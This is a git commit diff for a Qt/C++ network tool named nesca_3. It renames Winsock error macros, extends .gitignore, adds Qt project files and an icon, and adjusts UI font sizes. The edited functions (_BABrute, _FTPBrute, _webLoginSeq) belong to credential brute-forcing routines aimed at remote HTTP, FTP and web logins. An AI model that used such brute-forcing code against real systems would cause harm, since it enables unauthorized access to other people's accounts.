This commit is contained in:
cora32 2015-02-27 20:40:12 +03:00
parent a1d45ae5d9
commit ce9994193e
9 changed files with 143 additions and 39 deletions

30
.gitignore vendored
View File

@ -1,3 +1,33 @@
*.swo *.swo
*.swp *.swp
debugData.txt debugData.txt
*.png
adns_dll.dll
changelog
*.obj
*.res
*.log
*.tlog
*.lastbuildstate
*.pdb
GeneratedFiles/*
imp.txt
imp2.txt
*.dll
logs/*
*.vcxproj.*
*.vcxproj
*.aps
*.svg
Release/*
Debug/*
restore
result_files/*
*.bmp
*.bk
tags.txt
version
lisca.cpp
main - копия.cpp

View File

@ -672,9 +672,9 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
if(cCode == SOCKET_ERROR) { if(cCode == SOCKET_ERROR) {
int errorCode = WSAGetLastError(); int errorCode = WSAGetLastError();
if(errorCode == ENOTSOCK) { if(errorCode == WSAENOTSOCK) {
while(errorCode == ENOTSOCK) while(errorCode == WSAENOTSOCK)
{ {
if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]");
CSSOCKET(sock); CSSOCKET(sock);
@ -686,7 +686,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
CSSOCKET(sock); CSSOCKET(sock);
if(errorCode != ETIMEDOUT) if(errorCode != WSAETIMEDOUT)
{ {
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]");
}; };
@ -918,7 +918,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr));
while(WSAGetLastError() == ENOTSOCK) while(WSAGetLastError() == WSAENOTSOCK)
{ {
if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]");
CSSOCKET(sockFTP); CSSOCKET(sockFTP);
@ -1249,13 +1249,13 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
{ {
int WSAerr; int WSAerr;
if(connectionResult == -1) WSAerr = WSAGetLastError(); if(connectionResult == -1) WSAerr = WSAGetLastError();
else WSAerr = ETIMEDOUT; else WSAerr = WSAETIMEDOUT;
if(gThreads > 1 if(gThreads > 1
&& WSAerr != ETIMEDOUT/*Timeout*/ && WSAerr != WSAETIMEDOUT/*Timeout*/
&& WSAerr != ENOBUFS/*POOLOVERFLOW*/ && WSAerr != WSAENOBUFS/*POOLOVERFLOW*/
&& WSAerr != ECONNREFUSED/*WSAECONNREFUSED*/ && WSAerr != WSAECONNREFUSED/*WSAECONNREFUSED*/
&& WSAerr != ECONNRESET/*WSAECONNRESET*/ && WSAerr != WSAECONNRESET/*WSAECONNRESET*/
&& WSAerr != 0) && WSAerr != 0)
{ {
stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str()));
@ -1524,7 +1524,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
if(iResult == SOCKET_ERROR) if(iResult == SOCKET_ERROR)
{ {
iError = WSAGetLastError(); iError = WSAGetLastError();
if(iError == EINPROGRESS) if (iError == WSAEWOULDBLOCK)
{ {
fd_set read_fs; fd_set read_fs;
FD_ZERO(&read_fs); FD_ZERO(&read_fs);
@ -1635,11 +1635,11 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
else else
{ {
++offlines; ++offlines;
if(iError == ENOBUFS) if (iError == WSAENOBUFS)
{ {
stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
} }
else if(iError == EADDRNOTAVAIL) else if (iError == WSAEADDRNOTAVAIL)
{ {
stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) + stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) +
":" + QString::number(port) + ":" + QString::number(port) +
@ -2157,7 +2157,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
int cErrCode = WSAGetLastError(); int cErrCode = WSAGetLastError();
while(cErrCode == ENOTSOCK) while(cErrCode == WSAENOTSOCK)
{ {
CSSOCKET(sock); CSSOCKET(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

View File

@ -55,26 +55,29 @@ typedef int BOOL;
#ifndef SOCKET_ERROR #ifndef SOCKET_ERROR
#define SOCKET_ERROR (-1) #define SOCKET_ERROR (-1)
#endif #endif
#ifndef EINPROGRESS #ifndef WSAEWOULDBLOCK
#define EINPROGRESS WSAEINPROGRESS //10036 #define WSAEWOULDBLOCK EWOULDBLOCK //10035
#endif #endif
#ifndef ENOTSOCK #ifndef WSAEINPROGRESS
#define ENOTSOCK WSAENOTSOCK //10038 #define WSAEINPROGRESS EINPROGRESS //10036
#endif #endif
#ifndef EADDRNOTAVAIL #ifndef WSAENOTSOCK
#define EADDRNOTAVAIL WSAEADDRNOTAVAIL //10049 #define WSAENOTSOCK ENOTSOCK //10038
#endif #endif
#ifndef ECONNRESET #ifndef WSAEADDRNOTAVAIL
#define ECONNRESET WSAECONNRESET //10054 #define WSAEADDRNOTAVAIL EADDRNOTAVAIL //10049
#endif #endif
#ifndef ENOBUFS #ifndef WSAECONNRESET
#define ENOBUFS WSAENOBUFS //10055 #define WSAECONNRESET ECONNRESET //10054
#endif #endif
#ifndef ETIMEDOUT #ifndef WSAENOBUFS
#define ETIMEDOUT WSAETIMEDOUT //10060 #define WSAENOBUFS ENOBUFS //10055
#endif #endif
#ifndef ECONNREFUSED #ifndef WSAETIMEDOUT
#define ECONNREFUSED WSAECONNREFUSED //10061 #define WSAETIMEDOUT ETIMEDOUT //10060
#endif
#ifndef WSAECONNREFUSED
#define WSAECONNREFUSED ECONNREFUSED //10061
#endif #endif
#endif #endif

BIN
nesca.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

48
nesca_3.pri Normal file
View File

@ -0,0 +1,48 @@
# ----------------------------------------------------
# This file is generated by the Qt Visual Studio Add-in.
# ------------------------------------------------------
# This is a reminder that you are using a generated .pro file.
# Remove it when you are finished editing this file.
message("You are running qmake on a generated .pro file. This may not work!")
HEADERS += ./base64.h \
./resource.h \
./nesca_3.h \
./ActivityDrawerTh_HorNet.h \
./STh.h \
./CheckKey_Th.h \
./DrawerTh_QoSScanner.h \
./CheckProxy_Th.h \
./DrawerTh_HorNet.h \
./DrawerTh_GridQoSScanner.h \
./DrawerTh_VoiceScanner.h \
./DrawerTh_ME2Scanner.h \
./darkmap.h \
./IRCPinger_Th.h \
./oIRC_Th.h \
./irc_nmblinker.h \
./msgpopup.h
SOURCES += ./ActivityDrawerTh_HorNet.cpp \
./base64.cpp \
./CheckKey_Th.cpp \
./CheckProxy_Th.cpp \
./connector.cpp \
./darkmap.cpp \
./DrawerTh_GridQoSScanner.cpp \
./DrawerTh_HorNet.cpp \
./DrawerTh_ME2Scanner.cpp \
./DrawerTh_QoSScanner.cpp \
./DrawerTh_VoiceScanner.cpp \
./finder.cpp \
./IRCPinger_Th.cpp \
./irc_nmblinker.cpp \
./main.cpp \
./msgpopup.cpp \
./nesca_3.cpp \
./nesca_startModule.cpp \
./oIRC_Th.cpp \
./STh.cpp
FORMS += ./nesca_3.ui
RESOURCES += nesca_3.qrc

20
nesca_3.pro Normal file
View File

@ -0,0 +1,20 @@
# ----------------------------------------------------
# This file is generated by the Qt Visual Studio Add-in.
# ------------------------------------------------------
TEMPLATE = app
TARGET = nesca_3
DESTDIR = ../Win32/Release
QT += core widgets gui qml
CONFIG += release
DEFINES += QT_DLL QT_WIDGETS_LIB QT_QML_LIB
INCLUDEPATH += ./GeneratedFiles \
. \
../../../../../../../../Qt/Qt5.0.0/5.0.0/msvc2010/bin
DEPENDPATH += .
MOC_DIR += C:/Qt/Qt5.0.0/5.0.0/msvc2010/bin
OBJECTS_DIR += release
UI_DIR += ./GeneratedFiles
RCC_DIR += ./GeneratedFiles
include(nesca_3.pri)
win32:RC_FILE = nesca_3.rc

View File

@ -1,5 +1,6 @@
<RCC> <RCC>
<qresource prefix="/nesca_3"> <qresource prefix="/nesca_3">
<file>Eurostile.ttf</file> <file>Eurostile.ttf</file>
</qresource> <file>nesca.ico</file>
</qresource>
</RCC> </RCC>

View File

@ -1678,7 +1678,7 @@ border-radius: 3px;</string>
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Consolas'; font-size:11pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Consolas'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="cursorWidth"> <property name="cursorWidth">
@ -2180,8 +2180,8 @@ p, li { white-space: pre-wrap; }
<string/> <string/>
</property> </property>
<property name="icon"> <property name="icon">
<iconset> <iconset resource="nesca_3.qrc">
<normaloff>:/nesca_3/Z:/nesca.ico</normaloff>:/nesca_3/Z:/nesca.ico</iconset> <normaloff>:/nesca_3/nesca.ico</normaloff>:/nesca_3/nesca.ico</iconset>
</property> </property>
</widget> </widget>
<widget class="QLabel" name="WhiteLabel"> <widget class="QLabel" name="WhiteLabel">
@ -2433,7 +2433,7 @@ p, li { white-space: pre-wrap; }
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="cursorWidth"> <property name="cursorWidth">
@ -2930,7 +2930,7 @@ background-color: #000000;</string>
<property name="font"> <property name="font">
<font> <font>
<family>Eurostile</family> <family>Eurostile</family>
<pointsize>9</pointsize> <pointsize>8</pointsize>
</font> </font>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
@ -3415,7 +3415,7 @@ background-color: #000000;</string>
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="acceptRichText"> <property name="acceptRichText">
@ -3551,7 +3551,7 @@ p, li { white-space: pre-wrap; }
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="acceptRichText"> <property name="acceptRichText">
@ -4012,6 +4012,8 @@ color: rgb(71, 71, 71);</string>
<tabstop>exitButton</tabstop> <tabstop>exitButton</tabstop>
<tabstop>dataText</tabstop> <tabstop>dataText</tabstop>
</tabstops> </tabstops>
<resources/> <resources>
<include location="nesca_3.qrc"/>
</resources>
<connections/> <connections/>
</ui> </ui>

View File

@ -114,7 +114,7 @@ void _blinkNLine(QString tempData = "", QString senderNick = "")
int sendS(int lSock, char *msg, int len, int mode) int sendS(int lSock, char *msg, int len, int mode)
{ {
if(lSock == ENOTSOCK || lSock <= 0 || !connectedToIRC) { if(lSock == WSAENOTSOCK || lSock <= 0 || !connectedToIRC) {
ircTh->doEmitChangeRedIRCData("Not connected."); ircTh->doEmitChangeRedIRCData("Not connected.");
return -1; return -1;
} }